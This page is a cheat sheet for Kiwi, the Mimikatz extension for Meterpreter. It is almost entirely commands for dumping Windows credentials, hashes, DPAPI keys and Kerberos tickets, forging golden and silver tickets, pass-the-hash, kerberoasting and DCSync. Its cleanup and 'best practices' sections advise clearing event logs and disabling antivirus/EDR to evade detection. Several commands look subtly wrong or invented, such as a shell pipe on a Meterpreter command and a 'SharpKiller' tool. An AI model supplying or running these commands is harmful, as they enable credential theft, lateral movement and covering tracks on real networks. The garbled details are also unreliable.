Zum Inhalt springen

Kiwi (Mimikatz for Meterpreter)

Kiwi is a Metasploit/Meterpreter extension that provides Mimikatz functionality directly within a Meterpreter session. It dumps credentials from memory, manages Kerberos tickets, and performs LSA attacks.

Loading Kiwi Module

# Load kiwi extension into active Meterpreter session
meterpreter > load kiwi

# Verify module loaded
meterpreter > creds_all

Credential Dumping Commands

All Credentials

# Dump all credentials from LSASS memory
meterpreter > creds_all

# Output format: DOMAIN\username:password or hash

Windows Credential Manager

# Dump cached Windows credentials
meterpreter > creds_wincred

# Dump DPAPI vault contents
meterpreter > creds_vault

NTLM Hashes

# Dump all NTLM hashes
meterpreter > creds_msv

# Extract SAM database hashes
# First, copy SAM/SYSTEM registry
meterpreter > shell
> reg save HKLM\SAM C:\Temp\SAM
> reg save HKLM\SYSTEM C:\Temp\SYSTEM
> exit

# Then use secretsdump.py offline
# python3 secretsdump.py -sam SAM -system SYSTEM LOCAL

Kerberos Tickets

# List all Kerberos tickets
meterpreter > kerberos_ticket_list

# Dump ticket in base64
meterpreter > kerberos_ticket_dump <ticket_id>

# Use dumped ticket for pass-the-ticket
meterpreter > kerberos_ticket_use base64_ticket_data

Privilege Escalation

Golden Ticket Attack

# Extract domain information
meterpreter > execute -f cmd.exe -i

# Get Domain SID
cmd > whoami /user
# S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-1001

# Get krbtgt hash from DC
# Requires SYSTEM access on domain controller

# Create golden ticket
meterpreter > execute -f cmd.exe -i
cmd > kerberos::golden /user:Administrator /domain:example.com /sid:S-1-5-21-xxx /krbtgt:hash /ticket:goldenticket.kirbi

# Import golden ticket
meterpreter > kerberos_ticket_use goldenticket.kirbi

Silver Ticket Attack

# Extract service account hash
meterpreter > creds_all
# Look for service account: DOMAIN\svc_account:hash

# Create silver ticket for specific service
meterpreter > execute -f cmd.exe -i
cmd > kerberos::silver /user:Administrator /domain:example.com /sid:S-1-5-21-xxx /target:fileserver.local /service:cifs /hash:svc_hash /ticket:silver.kirbi

# Use silver ticket
meterpreter > kerberos_ticket_use silver.kirbi
meterpreter > net use \\fileserver.local\share

LSA Attacks

LSA Dump

# Dump LSA memory (requires SYSTEM)
meterpreter > getsystem
meterpreter > lsa_dump_secret

# Output includes:
# - Cached credentials
# - DPAPI keys
# - Domain cached credentials (DCC)

Domain Cached Credentials (DCC)

# Dump DCC2 (salted hashes)
meterpreter > dcc_dump

# These are cached domain creds, crackable offline
# Format: username:dcc2_hash:domain

DPAPI Master Keys

# List DPAPI master keys
meterpreter > dpapi_list_keys

# Dump master key
meterpreter > dpapi_dump_keys

# Decrypt with master key
meterpreter > dpapi_decrypt /data:encrypted_data /masterkey:key_hex

Session Management

Pass-the-Hash (PTH)

# Extract NTLM hash
meterpreter > creds_all
# Output: DOMAIN\user:ntlmhash

# Create process with hash
meterpreter > pth DOMAIN\user ntlmhash "cmd.exe"

# Access network resources without password
meterpreter > net use \\target\share /U:DOMAIN\user

Pass-the-Ticket (PTT)

# Dump TGT ticket
meterpreter > kerberos_ticket_dump 0

# Base64 encode ticket
meterpreter > shell
> echo ticket_data | base64

# Import into new session
meterpreter > kerberos_ticket_use base64_data

# Authenticate to network service
meterpreter > net use \\fileserver\share

Token Management

Impersonation

# List available tokens
meterpreter > getuid

# Steal token from process
meterpreter > steal_token <pid>

# Impersonate specific user
meterpreter > execute -f cmd.exe -i -t

# Revert to original token
meterpreter > rev2self

Token Negotiation

# Use current token for lateral move
meterpreter > psexec \\target\ADMIN$ cmd.exe

# Create process with explicit token
meterpreter > shell
> runas /user:DOMAIN\admin cmd.exe
> exit

Registry Credential Dumping

RDP Credentials

# Extract cached RDP credentials
meterpreter > shell
> reg query "HKCU\Software\Microsoft\Terminal Server Client\Default" /v MRU0
> exit

AutoLogin

# Check for AutoLogin credentials
meterpreter > shell
> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
> reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
> exit

VNC Credentials

# Extract VNC server credentials
meterpreter > shell
> reg query "HKCU\Software\RealVNC\VNC4" /v Password
> exit

Active Directory Attacks

AS-REP Roasting

# Requires Rubeus in PATH or similar tool
meterpreter > execute -f cmd.exe -i
cmd > Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt

# Offline crack with hashcat
# hashcat -m 18200 hashes.txt wordlist.txt

Kerberoasting

# Request service tickets
meterpreter > execute -f cmd.exe -i
cmd > Rubeus.exe kerberoast /format:hashcat /outfile:hashes.txt

# Find targetable SPNs
cmd > setspn -T example.com -q */*

# Crack extracted hashes
# hashcat -m 13100 hashes.txt wordlist.txt

DCSynce Simulation

Rogue Domain Replication

# Requires Domain Admin credentials (via PTH/PTT)
meterpreter > shell
> lsadump::dcsync /user:krbtgt /domain:example.com

# Extracts krbtgt hash for golden ticket

Data Exfiltration

Credentials to File

# Save all credentials to file
meterpreter > shell
> creds_all > C:\Temp\creds.txt
> exit

# Download harvested credentials
meterpreter > download C:\Temp\creds.txt /tmp/creds.txt

Selective Credential Export

# Export only domain admin creds
meterpreter > shell
> creds_all | findstr "Domain Admins"
> exit

# Export NT hashes only
meterpreter > creds_msv > /tmp/hashes.txt

Cleanup

Event Log Clearing

# Clear System log
meterpreter > shell
> wevtutil cl System
> wevtutil cl Security
> wevtutil cl Application
> exit

Process Cleanup

# Kill lsass enumeration artifacts
meterpreter > shell
> tasklist /v | findstr lsass
> exit

# NOTE: Do not kill lsass itself - session dies

Troubleshooting

# Check if running as SYSTEM
meterpreter > getuid

# If not SYSTEM, escalate
meterpreter > getsystem
meterpreter > getuid

# Verify kiwi module loaded
meterpreter > creds_all

# Module not responding - reload
meterpreter > unload kiwi
meterpreter > load kiwi

Security Considerations

  • Requires SYSTEM privilege (with limitations in newer Windows versions)
  • Windows Defender may flag mimikatz behavior
  • Cleartext password exposure in memory
  • Consider UAC bypass requirements
  • Patches available but older systems vulnerable

Alternatives to Kiwi

# Invoke-Mimikatz (PowerShell)
meterpreter > powershell Invoke-Mimikatz -Command '"lsadump::sam"'

# Rubeus (C# Kerberos framework)
meterpreter > execute-assembly Rubeus.exe kerberoast

# SharpKiller (Mimikatz C# port)
meterpreter > execute-assembly SharpKiller.exe

Best Practices

  • Always obtain SYSTEM privilege first
  • Disable antivirus/EDR if possible
  • Clear logs after credential harvesting
  • Use extracted credentials for lateral movement
  • Implement proper ticket management
  • Monitor for credential access alerts
  • Clean up temporary files/credentials

References